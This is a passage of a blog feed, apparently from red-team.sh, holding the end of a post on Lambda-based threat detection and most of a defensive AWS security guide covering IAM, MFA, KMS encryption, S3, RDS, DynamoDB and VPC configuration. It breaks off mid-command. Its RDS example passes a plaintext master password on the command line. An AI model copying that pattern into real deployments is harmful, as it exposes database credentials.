  <li><a href="https://owasp.org/www-project-cloud-security/">OWASP Cloud Security</a> - Open source cloud security resources</li>
</ul>

<h3 id="community-resources">Community Resources</h3>
<ul>
  <li><a href="https://aws.amazon.com/security/community/">AWS Security Community</a> - AWS security community hub</li>
  <li><a href="https://serverlessland.com/patterns">ServerlessLand Patterns</a> - Serverless architecture patterns and examples</li>
  <li><a href="https://github.com/aws-samples/aws-lambda-security-controls">AWS Samples GitHub</a> - Security automation code samples</li>
  <li><a href="https://reinforce.awsevents.com/">re:Inforce Security Conference</a> - AWS security conference and training resources</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>Implementing automated threat detection with AWS Lambda provides organizations with real-time security monitoring capabilities essential for defending against 2025’s evolving threat landscape. This serverless approach offers scalability, cost-effectiveness, and rapid response times while maintaining comprehensive audit trails for compliance requirements.</p>

<p>Key benefits of this implementation include:</p>
<ul>
  <li><strong>Real-time Detection</strong>: Sub-second threat identification and response</li>
  <li><strong>Cost Efficiency</strong>: Pay-per-use serverless model with automatic scaling</li>
  <li><strong>Comprehensive Coverage</strong>: Multi-service integration for complete visibility</li>
  <li><strong>Automated Response</strong>: Immediate containment and remediation capabilities</li>
  <li><strong>Compliance Support</strong>: Built-in audit trails and reporting mechanisms</li>
</ul>

<p>The combination of CloudTrail monitoring, Lambda-based analysis, and automated response functions creates a robust security posture that adapts to emerging threats while reducing the operational burden on security teams.</p>

<p>For personalized guidance on implementing automated threat detection in your AWS environment, <a href="https://www.linkedin.com/in/jonpricelinux/">connect with Jon Price on LinkedIn</a>.</p>]]></content><author><name>Jon (JR) Price</name></author><category term="AWS" /><category term="DevSecOps" /><category term="Security" /><category term="automated-response" /><category term="aws-lambda" /><category term="cloudtrail" /><category term="incident-response" /><category term="security-lake" /><category term="serverless-security" /><category term="threat-detection" /><summary type="html"><![CDATA[Comprehensive guide to implementing serverless threat detection using AWS Lambda, CloudTrail, and Security Lake for real-time security monitoring and automated incident response.]]></summary></entry><entry><title type="html">AWS Cloud Security Best Practices: Complete Implementation Guide for DevSecOps Teams</title><link href="https://red-team.sh/posts/aws-cloud-security-best-practices-implementation-guide/" rel="alternate" type="text/html" title="AWS Cloud Security Best Practices: Complete Implementation Guide for DevSecOps Teams" /><published>2025-09-08T07:00:00-07:00</published><updated>2025-09-08T07:00:00-07:00</updated><id>https://red-team.sh/posts/aws-cloud-security-best-practices-implementation-guide</id><content type="html" xml:base="https://red-team.sh/posts/aws-cloud-security-best-practices-implementation-guide/"><![CDATA[<p>With 94% of enterprises using cloud services and AWS commanding 32% of the global cloud market, securing AWS infrastructure has become paramount for organizations worldwide. Recent studies show that 65% of security breaches in cloud environments result from misconfigurations, making comprehensive AWS security implementation a critical business imperative.</p>

<p>This guide provides DevSecOps teams with actionable strategies for implementing robust AWS security practices, combining infrastructure security, automation, and compliance frameworks into a unified approach.</p>

<h2 id="executive-summary-modern-aws-security-landscape">Executive Summary: Modern AWS Security Landscape</h2>

<h3 id="current-security-challenges">Current Security Challenges</h3>
<ul>
  <li><strong>Misconfiguration Risk</strong>: 65% of cloud breaches stem from configuration errors</li>
  <li><strong>Identity Management Complexity</strong>: Average enterprise manages 2,000+ IAM entities</li>
  <li><strong>Compliance Requirements</strong>: 73% of organizations face multiple regulatory frameworks</li>
  <li><strong>Automation Gap</strong>: Only 32% of security processes are fully automated</li>
</ul>

<h3 id="strategic-security-framework">Strategic Security Framework</h3>
<p>Our implementation approach addresses five critical pillars:</p>
<ol>
  <li><strong>Identity and Access Management (Zero Trust)</strong></li>
  <li><strong>Data Protection (Encryption and Classification)</strong></li>
  <li><strong>Network Security (Defense in Depth)</strong></li>
  <li><strong>Monitoring and Incident Response (Automated Detection)</strong></li>
  <li><strong>Compliance and Governance (Policy as Code)</strong></li>
</ol>

<h2 id="1-identity-and-access-management-zero-trust-implementation">1. Identity and Access Management: Zero Trust Implementation</h2>

<h3 id="aws-iam-zero-trust-architecture">AWS IAM Zero Trust Architecture</h3>

<p>Identity and Access Management forms the foundation of AWS security. Implementing zero trust principles requires comprehensive identity verification and least-privilege access controls.</p>

<h4 id="core-zero-trust-principles">Core Zero Trust Principles</h4>
<ul>
  <li><strong>Never Trust, Always Verify</strong>: Every access request requires authentication</li>
  <li><strong>Least Privilege Access</strong>: Minimal necessary permissions only</li>
  <li><strong>Assume Breach</strong>: Design for compromise scenarios</li>
  <li><strong>Contextual Access</strong>: Location, device, and behavior-based decisions</li>
</ul>

<h4 id="iam-policy-framework-implementation">IAM Policy Framework Implementation</h4>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="rouge-code"><pre><span class="p">{</span><span class="w">
  </span><span class="nl">"Version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2012-10-17"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"Statement"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
    </span><span class="p">{</span><span class="w">
      </span><span class="nl">"Sid"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ZeroTrustBasePolicy"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Effect"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Allow"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Action"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
        </span><span class="s2">"sts:GetCallerIdentity"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"iam:GetUser"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"iam:ListAccessKeys"</span><span class="w">
      </span><span class="p">],</span><span class="w">
      </span><span class="nl">"Resource"</span><span class="p">:</span><span class="w"> </span><span class="s2">"*"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Condition"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"Bool"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"aws:MultiFactorAuthPresent"</span><span class="p">:</span><span class="w"> </span><span class="s2">"true"</span><span class="w">
        </span><span class="p">},</span><span class="w">
        </span><span class="nl">"DateGreaterThan"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"aws:CurrentTime"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2024-01-01T00:00:00Z"</span><span class="w">
        </span><span class="p">}</span><span class="w">
      </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<h4 id="advanced-iam-configuration">Advanced IAM Configuration</h4>

<p><strong>Permission Boundaries Implementation:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="c"># Create permission boundary for developers</span>
aws iam create-policy <span class="nt">--policy-name</span> DevSecOpsBoundary <span class="se">\</span>
  <span class="nt">--policy-document</span> file://devsecops-boundary-policy.json

<span class="c"># Apply boundary to role</span>
aws iam put-role-permissions-boundary <span class="se">\</span>
  <span class="nt">--role-name</span> DevSecOpsRole <span class="se">\</span>
  <span class="nt">--permissions-boundary</span> arn:aws:iam::ACCOUNT:policy/DevSecOpsBoundary
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Cross-Account Access Controls:</strong></p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
</pre></td><td class="rouge-code"><pre><span class="p">{</span><span class="w">
  </span><span class="nl">"Version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2012-10-17"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"Statement"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
    </span><span class="p">{</span><span class="w">
      </span><span class="nl">"Sid"</span><span class="p">:</span><span class="w"> </span><span class="s2">"CrossAccountAssumeRole"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Effect"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Allow"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Principal"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"AWS"</span><span class="p">:</span><span class="w"> </span><span class="s2">"arn:aws:iam::TRUSTED-ACCOUNT:root"</span><span class="w">
      </span><span class="p">},</span><span class="w">
      </span><span class="nl">"Action"</span><span class="p">:</span><span class="w"> </span><span class="s2">"sts:AssumeRole"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Condition"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"StringEquals"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"sts:ExternalId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"UniqueExternalIdentifier"</span><span class="w">
        </span><span class="p">},</span><span class="w">
        </span><span class="nl">"IpAddress"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"aws:SourceIp"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"203.0.113.0/24"</span><span class="p">,</span><span class="w"> </span><span class="s2">"198.51.100.0/24"</span><span class="p">]</span><span class="w">
        </span><span class="p">}</span><span class="w">
      </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<h4 id="aws-sso-integration-strategy">AWS SSO Integration Strategy</h4>

<p><strong>SAML 2.0 Configuration:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="c"># Configure AWS SSO with identity provider</span>
aws sso-admin create-instance-access-control-attribute-configuration <span class="se">\</span>
  <span class="nt">--instance-arn</span> arn:aws:sso:::instance/ssoins-example <span class="se">\</span>
  <span class="nt">--access-control-attributes</span> <span class="se">\</span>
  <span class="nv">Key</span><span class="o">=</span>Department,Value<span class="o">={</span><span class="nv">Source</span><span class="o">=</span><span class="s2">"{path:enterprise.department}"</span><span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Automated User Provisioning:</strong></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">json</span>

<span class="k">def</span> <span class="nf">provision_sso_user</span><span class="p">(</span><span class="n">user_data</span><span class="p">):</span>
    <span class="n">sso_client</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">identitystore</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="n">response</span> <span class="o">=</span> <span class="n">sso_client</span><span class="p">.</span><span class="nf">create_user</span><span class="p">(</span>
        <span class="n">IdentityStoreId</span><span class="o">=</span><span class="sh">'</span><span class="s">d-1234567890</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">UserName</span><span class="o">=</span><span class="n">user_data</span><span class="p">[</span><span class="sh">'</span><span class="s">username</span><span class="sh">'</span><span class="p">],</span>
        <span class="n">Name</span><span class="o">=</span><span class="p">{</span>
            <span class="sh">'</span><span class="s">GivenName</span><span class="sh">'</span><span class="p">:</span> <span class="n">user_data</span><span class="p">[</span><span class="sh">'</span><span class="s">first_name</span><span class="sh">'</span><span class="p">],</span>
            <span class="sh">'</span><span class="s">FamilyName</span><span class="sh">'</span><span class="p">:</span> <span class="n">user_data</span><span class="p">[</span><span class="sh">'</span><span class="s">last_name</span><span class="sh">'</span><span class="p">]</span>
        <span class="p">},</span>
        <span class="n">DisplayName</span><span class="o">=</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">user_data</span><span class="p">[</span><span class="sh">'</span><span class="s">first_name</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="n">user_data</span><span class="p">[</span><span class="sh">'</span><span class="s">last_name</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="sh">"</span><span class="p">,</span>
        <span class="n">Emails</span><span class="o">=</span><span class="p">[</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="n">user_data</span><span class="p">[</span><span class="sh">'</span><span class="s">email</span><span class="sh">'</span><span class="p">],</span>
                <span class="sh">'</span><span class="s">Type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Work</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">Primary</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span>
            <span class="p">}</span>
        <span class="p">]</span>
    <span class="p">)</span>
    
    <span class="k">return</span> <span class="n">response</span><span class="p">[</span><span class="sh">'</span><span class="s">UserId</span><span class="sh">'</span><span class="p">]</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="multi-factor-authentication-enforcement">Multi-Factor Authentication Enforcement</h3>

<p><strong>Organization-Wide MFA Policy:</strong></p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
</pre></td><td class="rouge-code"><pre><span class="p">{</span><span class="w">
  </span><span class="nl">"Version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2012-10-17"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"Statement"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
    </span><span class="p">{</span><span class="w">
      </span><span class="nl">"Sid"</span><span class="p">:</span><span class="w"> </span><span class="s2">"DenyAllExceptUsersWithMFA"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Effect"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Deny"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"NotAction"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
        </span><span class="s2">"iam:CreateVirtualMFADevice"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"iam:EnableMFADevice"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"iam:GetUser"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"iam:ListMFADevices"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"iam:ListVirtualMFADevices"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"iam:ResyncMFADevice"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"sts:GetSessionToken"</span><span class="w">
      </span><span class="p">],</span><span class="w">
      </span><span class="nl">"Resource"</span><span class="p">:</span><span class="w"> </span><span class="s2">"*"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Condition"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"BoolIfExists"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"aws:MultiFactorAuthPresent"</span><span class="p">:</span><span class="w"> </span><span class="s2">"false"</span><span class="w">
        </span><span class="p">}</span><span class="w">
      </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="2-data-protection-comprehensive-encryption-strategy">2. Data Protection: Comprehensive Encryption Strategy</h2>

<h3 id="aws-key-management-service-kms-implementation">AWS Key Management Service (KMS) Implementation</h3>

<p>Data protection requires multi-layered encryption strategies covering data at rest, in transit, and in use.</p>

<h4 id="customer-managed-keys-cmk-configuration">Customer-Managed Keys (CMK) Configuration</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre><span class="c"># Create customer-managed KMS key</span>
aws kms create-key <span class="se">\</span>
  <span class="nt">--policy</span> file://kms-key-policy.json <span class="se">\</span>
  <span class="nt">--description</span> <span class="s2">"DevSecOps encryption key for production workloads"</span> <span class="se">\</span>
  <span class="nt">--key-usage</span> ENCRYPT_DECRYPT <span class="se">\</span>
  <span class="nt">--key-spec</span> SYMMETRIC_DEFAULT

<span class="c"># Create key alias</span>
aws kms create-alias <span class="se">\</span>
  <span class="nt">--alias-name</span> <span class="nb">alias</span>/devsecops-prod <span class="se">\</span>
  <span class="nt">--target-key-id</span> arn:aws:kms:us-west-2:123456789012:key/key-id
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>KMS Key Policy Example:</strong></p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
</pre></td><td class="rouge-code"><pre><span class="p">{</span><span class="w">
  </span><span class="nl">"Version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2012-10-17"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"Statement"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
    </span><span class="p">{</span><span class="w">
      </span><span class="nl">"Sid"</span><span class="p">:</span><span class="w"> </span><span class="s2">"EnableRootPermissions"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Effect"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Allow"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Principal"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"AWS"</span><span class="p">:</span><span class="w"> </span><span class="s2">"arn:aws:iam::123456789012:root"</span><span class="w">
      </span><span class="p">},</span><span class="w">
      </span><span class="nl">"Action"</span><span class="p">:</span><span class="w"> </span><span class="s2">"kms:*"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Resource"</span><span class="p">:</span><span class="w"> </span><span class="s2">"*"</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="p">{</span><span class="w">
      </span><span class="nl">"Sid"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AllowServiceUsage"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Effect"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Allow"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Principal"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"Service"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
          </span><span class="s2">"s3.amazonaws.com"</span><span class="p">,</span><span class="w">
          </span><span class="s2">"rds.amazonaws.com"</span><span class="p">,</span><span class="w">
          </span><span class="s2">"lambda.amazonaws.com"</span><span class="w">
        </span><span class="p">]</span><span class="w">
      </span><span class="p">},</span><span class="w">
      </span><span class="nl">"Action"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
        </span><span class="s2">"kms:Decrypt"</span><span class="p">,</span><span class="w">
        </span><span class="s2">"kms:GenerateDataKey"</span><span class="w">
      </span><span class="p">],</span><span class="w">
      </span><span class="nl">"Resource"</span><span class="p">:</span><span class="w"> </span><span class="s2">"*"</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<h4 id="s3-encryption-implementation">S3 Encryption Implementation</h4>

<p><strong>Server-Side Encryption Configuration:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="c"># Enable default encryption for S3 bucket</span>
aws s3api put-bucket-encryption <span class="se">\</span>
  <span class="nt">--bucket</span> secure-data-bucket <span class="se">\</span>
  <span class="nt">--server-side-encryption-configuration</span> <span class="s1">'{
    "Rules": [
      {
        "ApplyServerSideEncryptionByDefault": {
          "SSEAlgorithm": "aws:kms",
          "KMSMasterKeyID": "arn:aws:kms:us-west-2:123456789012:alias/devsecops-prod"
        },
        "BucketKeyEnabled": true
      }
    ]
  }'</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Client-Side Encryption Implementation:</strong></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">from</span> <span class="n">botocore.client</span> <span class="kn">import</span> <span class="n">Config</span>

<span class="k">def</span> <span class="nf">upload_encrypted_object</span><span class="p">(</span><span class="n">bucket_name</span><span class="p">,</span> <span class="n">object_key</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
    <span class="n">s3_client</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span>
        <span class="sh">'</span><span class="s">s3</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">config</span><span class="o">=</span><span class="nc">Config</span><span class="p">(</span><span class="n">signature_version</span><span class="o">=</span><span class="sh">'</span><span class="s">s3v4</span><span class="sh">'</span><span class="p">)</span>
    <span class="p">)</span>
    
    <span class="c1"># Upload with server-side encryption
</span>    <span class="n">s3_client</span><span class="p">.</span><span class="nf">put_object</span><span class="p">(</span>
        <span class="n">Bucket</span><span class="o">=</span><span class="n">bucket_name</span><span class="p">,</span>
        <span class="n">Key</span><span class="o">=</span><span class="n">object_key</span><span class="p">,</span>
        <span class="n">Body</span><span class="o">=</span><span class="n">data</span><span class="p">,</span>
        <span class="n">ServerSideEncryption</span><span class="o">=</span><span class="sh">'</span><span class="s">aws:kms</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">SSEKMSKeyId</span><span class="o">=</span><span class="sh">'</span><span class="s">arn:aws:kms:us-west-2:123456789012:alias/devsecops-prod</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">Metadata</span><span class="o">=</span><span class="p">{</span>
            <span class="sh">'</span><span class="s">data-classification</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">confidential</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">encryption-version</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">2.0</span><span class="sh">'</span>
        <span class="p">}</span>
    <span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="database-encryption-strategy">Database Encryption Strategy</h3>

<p><strong>RDS Encryption Configuration:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre><span class="c"># Create encrypted RDS instance</span>
aws rds create-db-instance <span class="se">\</span>
  <span class="nt">--db-instance-identifier</span> secure-database <span class="se">\</span>
  <span class="nt">--db-instance-class</span> db.t3.micro <span class="se">\</span>
  <span class="nt">--engine</span> mysql <span class="se">\</span>
  <span class="nt">--master-username</span> admin <span class="se">\</span>
  <span class="nt">--master-user-password</span> SecurePassword123! <span class="se">\</span>
  <span class="nt">--allocated-storage</span> 20 <span class="se">\</span>
  <span class="nt">--storage-encrypted</span> <span class="se">\</span>
  <span class="nt">--kms-key-id</span> arn:aws:kms:us-west-2:123456789012:alias/devsecops-prod <span class="se">\</span>
  <span class="nt">--vpc-security-group-ids</span> sg-12345678 <span class="se">\</span>
  <span class="nt">--db-subnet-group-name</span> secure-subnet-group
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>DynamoDB Encryption at Rest:</strong></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>

<span class="k">def</span> <span class="nf">create_encrypted_dynamodb_table</span><span class="p">():</span>
    <span class="n">dynamodb</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">dynamodb</span><span class="sh">'</span><span class="p">)</span>
    
    <span class="n">response</span> <span class="o">=</span> <span class="n">dynamodb</span><span class="p">.</span><span class="nf">create_table</span><span class="p">(</span>
        <span class="n">TableName</span><span class="o">=</span><span class="sh">'</span><span class="s">SecureUserData</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">KeySchema</span><span class="o">=</span><span class="p">[</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">AttributeName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">UserId</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">KeyType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">HASH</span><span class="sh">'</span>
            <span class="p">}</span>
        <span class="p">],</span>
        <span class="n">AttributeDefinitions</span><span class="o">=</span><span class="p">[</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">AttributeName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">UserId</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">AttributeType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">S</span><span class="sh">'</span>
            <span class="p">}</span>
        <span class="p">],</span>
        <span class="n">BillingMode</span><span class="o">=</span><span class="sh">'</span><span class="s">PAY_PER_REQUEST</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">SSESpecification</span><span class="o">=</span><span class="p">{</span>
            <span class="sh">'</span><span class="s">Enabled</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">SSEType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">KMS</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">KMSMasterKeyId</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">arn:aws:kms:us-west-2:123456789012:alias/devsecops-prod</span><span class="sh">'</span>
        <span class="p">},</span>
        <span class="n">PointInTimeRecoverySpecification</span><span class="o">=</span><span class="p">{</span>
            <span class="sh">'</span><span class="s">PointInTimeRecoveryEnabled</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span>
        <span class="p">}</span>
    <span class="p">)</span>
    
    <span class="k">return</span> <span class="n">response</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="3-network-security-defense-in-depth">3. Network Security: Defense in Depth</h2>

<h3 id="vpc-security-architecture">VPC Security Architecture</h3>

<p>Network security requires layered defense mechanisms, from perimeter security to microsegmentation.</p>

<h4 id="secure-vpc-configuration">Secure VPC Configuration</h4>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre><span class="c"># Create VPC with dedicated tenancy for high-security workloads</span>
aws ec2 create-vpc <span class="se">\</span>
  <span class="nt">--cidr-block</span> 10.0.0.0/16 <span class="se">\</span>
  <span class="nt">--instance-tenancy</span> dedicated <span class="se">\</span>
  <span class="nt">--tag-specifications</span> <span class="s1">'ResourceType=vpc,Tags=[{Key=Name,Value=SecureVPC},{Key=Environment,Value=Production}]'</span>

<span class="c"># Create private subnets</span>
aws ec2 create-subnet <span class="se">\</span>
  <span class="nt">--vpc-id</span> vpc-12345678 <span class="se">\</span>
  <span class="nt">--cidr-block</span> 10.0.1.0/24 <span class="se">\</span>
  <span class="nt">--availability-zone</span> us-west-2a <span class="se">\</span>
  <span class="nt">--tag-specifications</span> <span class="s1">'ResourceType=subnet,Tags=[{Key=Name,Value=PrivateSubnet-AZ1},{Key=Tier,Value=Database}]'</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Network ACL Security Rules:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="c"># Create restrictive Network ACL</span>
aws ec2 create-network-acl <span class="se">\</span>
  <span class="nt">--vpc-id</span> vpc-12345678 <span class="se">\</span>
  <span class="nt">--tag-specifications</span> <span class="s1">'ResourceType=network-acl,Tags=[{Key=Name,Value=SecureNetworkACL}]'</span>

<span class="c"># Add inbound rules</span>
aws ec2 create-network-acl-entry <span class="se">\</span>
